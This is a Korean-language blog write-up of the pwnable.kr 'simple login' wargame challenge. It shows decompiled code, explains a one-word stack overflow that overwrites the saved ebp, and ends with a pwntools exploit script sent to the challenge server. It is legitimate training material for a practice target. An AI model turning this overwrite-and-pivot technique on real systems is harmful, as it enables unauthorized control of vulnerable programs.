tmxklab

[pwnable.kr] simple login 본문

War Game/pwnable.kr

[pwnable.kr] simple login

tmxk4221 2021. 6. 7. 14:32

1. 문제확인

1) mitigation 확인

statically linked

 

2) 문제 확인

입력 값을 받고 hash값을 출력해주는 것 같다.

 

3) 코드흐름 확인

3-1) main()

int __cdecl main(int argc, const char **argv, const char **envp)
{
  int dec_val; // [esp+18h] [ebp-28h]
  char enc_val; // [esp+1Eh] [ebp-22h]
  unsigned int len; // [esp+3Ch] [ebp-4h]

  memset(&enc_val, 0, 0x1Eu);
  setvbuf(stdout, 0, 2, 0);
  setvbuf(stdin, 0, 1, 0);
  printf("Authenticate : ");
  _isoc99_scanf("%30s", &enc_val);
  memset(&input, 0, 0xCu);
  dec_val = 0;
  len = Base64Decode(&enc_val, &dec_val);
  if ( len > 0xC )
  {
    puts("Wrong Length");
  }
  else
  {
    memcpy(&input, dec_val, len);
    if ( auth(len) == 1 )
      correct();
  }
  return 0;
}
  • s에 base64로 인코딩된 input값이 들어가고 Base64Decode()에 의해 v4에는 input값을 base64로 디코딩된 값이 저장되며 리턴 값에는 디코딩된 값의 길이가 반환되어 v6에 저장된다.
  • 그리고 디코딩된 값은 전역변수인 input변수에도 들어간다.
  • 목표는 디코딩된 길이가 0xc보다 작고 auth()의 리턴 값이 참이되어 correct()를 호출해줘야 한다.

 

3-2) auth()

_BOOL4 __cdecl auth(int a1)
{
  char v2; // [esp+14h] [ebp-14h]
  char *s2; // [esp+1Ch] [ebp-Ch]
  int v4; // [esp+20h] [ebp-8h]

  memcpy(&v4, &input, a1);
  s2 = (char *)calc_md5(&v2, 12);
  printf("hash : %s\n", (char)s2);
  return strcmp("f87cd601aa7fedca99018a8be88eda34", s2) == 0;
}
  • 로직은 간단하게 아까 받은 input값을 v4로 복사한 뒤 md5로 변환하여 "f87cd601aa7fedca99018a8be88eda34"문자열과 같은지 비교하여 리턴한다.

 


2. 접근 방법

 

입력 값의 길이는 최대 0xc만큼 넣을 수 있으므로 테스트로 "AAAABBBBCCCC"를 넣고 디버깅해보자

  • auth()에서 memcpy()를 호출한 뒤의 상황이다. 현재 ebp가 가리키는 스택 주소에 "CCCC"값이 들어간 것을 확인할 수 있다.

 

  • 다시 main()로 돌아와 확인한 결과 ebp에 "CCCC"값이 존재함을 확인

결국, ebp값을 control할 수 있으며 이를 잘 이용하여 ret위치에 correct()의 system()를 호출하는 루틴으로 변경할 수 있을 것이다. (전역변수 input활용)

 

payload = [ dummy(0x4) ] + [ correct주소(0x4) ] + [ input 주소(0x4) ]

 


3. 문제 풀이

1) 익스코드

from pwn import *
import base64

context.log_level = "debug"

#p = process("./login")
p = remote("pwnable.kr", 9003)
#gdb.attach(p)

payload = "AAAA" +  p32(0x8049284) + p32(0x811eb40)
payload = base64.b64encode(payload)

p.sendlineafter(" : ", payload)

p.interactive()

 

2) 실행결과

'War Game > pwnable.kr' 카테고리의 다른 글

[pwnable.kr] ascii_easy  (0) 2021.06.07
[pwnable.kr] otp  (0) 2021.06.07
[pwnable.kr] md5 calculator  (0) 2021.01.15
[pwnable.kr] brain fuck  (0) 2021.01.14
[pwnable.kr] horcruxes  (0) 2020.12.02
Comments